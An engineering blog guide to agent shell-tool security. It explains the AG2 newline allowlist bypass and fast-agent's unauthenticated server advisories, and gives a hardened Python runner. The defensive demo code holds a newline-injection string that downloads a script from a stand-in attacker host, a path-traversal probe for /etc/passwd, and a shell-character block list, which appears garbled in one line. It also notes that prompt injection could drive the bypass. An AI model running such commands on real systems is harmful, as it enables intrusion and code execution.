Agentic AI  ·  BraivIQ AI Engineering Playbook

Agent Shell Tool Security: What The AG2 And fast-agent Advisories Teach About Allowlists

Agent shell tool security failed twice in two days. On 10 November 2026 GitHub published an advisory for AG2 showing that a newline in a command bypassed the SandboxShellTool allowlist and read-only mode, fixed in AG2 1.1.1. On 9 November an advisory for fast-agent showed that its serve command exposed agents over HTTP on all interfaces with no authentication by default, fixed in 0.7.21. This guide explains both, then shows a tested Python runner that parses commands into arguments, runs them without a shell and logs every attempt.

Published  ·  Updated  ·  7 min read  ·  By BraivIQ Engineering

Green terminal text on a dark screen, for a guide to agent shell tool security and allowlist bypasses

Key takeaways

  • GHSA-2h4w-29cv-2cmv (high), published 10 November 2026, affects AG2 from 0.13.2 up to 1.1.1. A newline inside a command bypassed SandboxShellTool's allowlist and read-only mode.
  • The filter checked a single line for shell operators, but execution passed the raw string to sh -c, where a newline separates commands.
  • GHSA-9vhv-g5hf-m7m7 (medium), published 9 November 2026, affects fast-agent-mcp 0.7.20 and earlier. fast-agent serve bound to 0.0.0.0 on port 8000 with no authentication by default.
  • Validate the parsed argument list, not the raw string, and run commands without a shell.
  • Bind agent servers to localhost or an internal interface, require authentication and put a person in front of anything that writes.

Agent shell tool security comes down to one question: when an agent asks to run a command, what actually runs? Two advisories published this week show how easy it is to get wrong. Both affect open-source agent frameworks and both have fixes. The lessons apply to any team that gives an agent a shell.

What did the AG2 advisory find?

GitHub published GHSA-2h4w-29cv-2cmv (CVE-2026-113663) on 10 November 2026, rated high. It affects AG2 versions from 0.13.2 up to but not including 1.1.1, and is fixed in 1.1.1.

According to the advisory, SandboxShellTool has two restricted modes: an explicit command allowlist and a read-only mode that uses an implicit allowlist of read-only commands. Both could be bypassed by putting a newline character inside the command string. The filter only checked a single-line set of shell metacharacters, but execution ran the raw string through sh -c, where a shell treats an embedded newline exactly like a statement separator.

The advisory notes that an agent, or content steering the agent through prompt injection, could therefore run arbitrary commands even when the tool allowed only one command prefix. With the default LocalEnvironment backend, commands run as a real host subprocess. The advisory quotes the backend's own docstring: “Commands run via subprocess on the host, so there is no real isolation.”

What did the fast-agent advisory find?

GitHub published GHSA-9vhv-g5hf-m7m7 (CVE-2026-102610) on 9 November 2026, rated medium. It affects fast-agent-mcp 0.7.20 and earlier and is fixed in 0.7.21.

The advisory says fast-agent serve exposes the agent over MCP using HTTP bound to 0.0.0.0, meaning all interfaces, on port 8000, with no authentication by default and no warning. Any host that can reach the port can call the exposed agent tool. Started with the shell flag, which the README quickstart uses, the agent has a local execute tool, so an unauthenticated remote client can drive it to run operating system commands.

Source: GitHub Advisory Database, 9 and 10 November 2026.
AdvisoryPackage and versionsRoot causeFix
GHSA-2h4w-29cv-2cmv, high, 10 Nov 2026ag2 0.13.2 to before 1.1.1Raw string checked, then run through sh -cUpgrade to 1.1.1
GHSA-9vhv-g5hf-m7m7, medium, 9 Nov 2026fast-agent-mcp 0.7.20 and earlierHTTP on 0.0.0.0:8000 with no authenticationUpgrade to 0.7.21

Why do raw-string allowlists fail?

A shell is a language, and a filter that inspects a string is trying to predict how that language will parse it. Newlines, carriage returns, null bytes, variable expansion, globbing and quoting all change the result. Every character the filter misses is a bypass. The AG2 case is a clean example: the check looked at one line and the shell read two.

The safer pattern is to never hand a string to a shell. Split the request into an argument list once, check the list, then pass the list straight to the operating system. Our playbook on agent code sandboxes and AST allowlists applies the same idea to generated Python.

How do you build agent shell tool security that holds?

The runner below rejects control and shell characters outright, splits the command with shlex, checks the command, every flag and every path against an allowlist, and runs the list with shell=False, a timeout and a minimal environment. Every attempt, allowed or blocked, goes to the audit log.

safe_shell.py
"""Run agent shell commands without a shell. Python 3.14, standard library only.
Shows why a prefix allowlist checked against a raw string fails (the pattern in
GHSA-2h4w-29cv-2cmv, AG2, 10 November 2026) and how argv execution closes it."""
import datetime as dt, json, os, shlex, subprocess, tempfile

ALLOWED = {"ls": {"-l", "-a"}, "wc": {"-l"}, "head": {"-n"}}
BAD_CHARS = set("\n\r\x00;&|`
lt;>(){}*?") AUDIT: list[dict] = [] def naive_filter(cmd: str) -> bool: # the vulnerable pattern: prefix plus one-line operators ops = [";", "&&", "||", "|", "`", "$("] return cmd.startswith("ls") and not any(op in cmd.split("\n")[0] for op in ops) def parse(cmd: str, workdir: str) -> list[str]: if any(c in BAD_CHARS for c in cmd): raise PermissionError("control or shell character in command") argv = shlex.split(cmd) if not argv or argv[0] not in ALLOWED: raise PermissionError(f"command not allowed: {argv[:1]}") for arg in argv[1:]: if arg.startswith("-"): if arg not in ALLOWED[argv[0]]: raise PermissionError(f"flag not allowed: {arg}") elif not arg.isdigit(): path = os.path.realpath(os.path.join(workdir, arg)) if not path.startswith(os.path.realpath(workdir) + os.sep): raise PermissionError(f"path outside workdir: {arg}") return argv def run(cmd: str, workdir: str, agent: str) -> str: entry = {"at": dt.datetime.now(dt.UTC).isoformat(timespec="seconds"), "agent": agent, "cmd": cmd} try: argv = parse(cmd, workdir) except PermissionError as e: AUDIT.append(entry | {"result": "blocked", "reason": str(e)}) return f"blocked: {e}" out = subprocess.run(argv, cwd=workdir, shell=False, capture_output=True, text=True, timeout=5, env={"PATH": "/usr/bin:/bin"}) AUDIT.append(entry | {"result": "ran", "exit": out.returncode}) return out.stdout.strip() if __name__ == "__main__": attack = "ls -l\ncurl http://attacker.example/x.sh -o /tmp/x.sh" print("naive filter lets it through:", naive_filter(attack)) with tempfile.TemporaryDirectory() as wd: open(os.path.join(wd, "recs.csv"), "w").write("a,b\n1,2\n") print(run("wc -l recs.csv", wd, "recs-agent")) print(run(attack, wd, "recs-agent")) print(run("head -n 1 ../../etc/passwd", wd, "recs-agent")) print(json.dumps(AUDIT, indent=1))

Python 3.14, standard library only. Run once in a temporary directory: the naive prefix filter lets the newline attack through, while the runner counts lines in a sample file, blocks the same attack for a control character and blocks a path that climbs out of the working directory, logging all three.

Notice what the runner does not try to do. It does not detect attacks. It allows a small set of known commands with known flags and refuses everything else. If an agent needs a new command, a person adds it to the allowlist through a reviewed change.

Agent shell tool security diagram: the agent sends a command string, the tool rejects control characters and splits it into arguments, an allowlist checks the command, flags and paths, blocked commands are logged with an alert, allowed commands run without a shell, anything that writes needs approval, and every command goes to the audit log
A shell tool that parses first and runs without a shell. Tap to open full size.

Where should the human approval sit?

Read-only commands from a short list can run without a person. Anything that writes, deletes, moves files or reaches the network should be proposed, not run. The agent prepares the command and the reason, and a person approves it. The approval and the command's output both go to the audit log.

What breaks in production?

  • **Exposed servers.** Agent servers bound to all interfaces, as in the fast-agent case. Bind to localhost or an internal interface and require authentication.
  • **Quickstart flags in production.** Flags from a README, such as a shell flag, carried into a deployed service. Review start-up flags in change control.
  • **Host execution.** Tools labelled as sandboxes that run on the host. Check what the backend really does, as the AG2 docstring makes clear.
  • **Path tricks.** Arguments like ../../etc/passwd. Resolve real paths and confine them to a working directory.
  • **Environment leaks.** Commands inheriting secrets from the agent's environment. Pass a minimal environment explicitly.

What are the trade-offs and alternatives?

The strongest option is no shell at all. Give the agent narrow, typed tools such as list_files or count_lines that call library functions directly. That removes the shell from the design and makes each tool easy to test.

Where a shell is unavoidable, run it in a disposable container or virtual machine with no network and a read-only mount of the data it needs. Isolation and an argument allowlist together are much stronger than either alone. Our AI Automation London builds default to typed tools and use containers only when a client's existing scripts must run as they are.

Where should a team start?

Search your code for shell=True, sh -c and os.system in anything an agent can reach, and check every agent server's bind address. Upgrade AG2 to 1.1.1 and fast-agent-mcp to 0.7.21 if you use them. Our blog on AI agent security and vendor questions gives questions for suppliers. As a Workflow Automation Agency we build these controls into safeguarding reconciliations and every other workflow, and a 14-day Proof Run starts with them in place. This guide is engineering guidance, not legal or regulatory advice.

Frequently asked questions

What is GHSA-2h4w-29cv-2cmv?

A high-severity advisory published on 10 November 2026 for AG2 versions from 0.13.2 up to 1.1.1. A newline in a command bypassed SandboxShellTool's allowlist and read-only mode. It is fixed in AG2 1.1.1.

What is the fast-agent serve issue?

GHSA-9vhv-g5hf-m7m7, published on 9 November 2026, reports that fast-agent serve bound HTTP to all interfaces on port 8000 with no authentication by default. With the shell flag, a remote client could run commands. It is fixed in fast-agent-mcp 0.7.21.

How should an agent run shell commands safely?

Split the command into arguments, check the command, flags and paths against an allowlist, run the list without a shell, and log every attempt. Put a person in front of anything that writes.

Is a command allowlist enough?

Not if it checks a raw string. Check the parsed arguments, run without a shell, and add isolation such as a container with no network.

References

  1. GitHub Advisory Database, "GHSA-2h4w-29cv-2cmv: AG2 newline injection in SandboxShellTool bypasses allowed and readonly modes", 10 November 2026. https://github.com/advisories/GHSA-2h4w-29cv-2cmv
  2. GitHub Advisory Database, "GHSA-9vhv-g5hf-m7m7: fast-agent serve binds HTTP to 0.0.0.0 with no authentication by default", 9 November 2026. https://github.com/advisories/GHSA-9vhv-g5hf-m7m7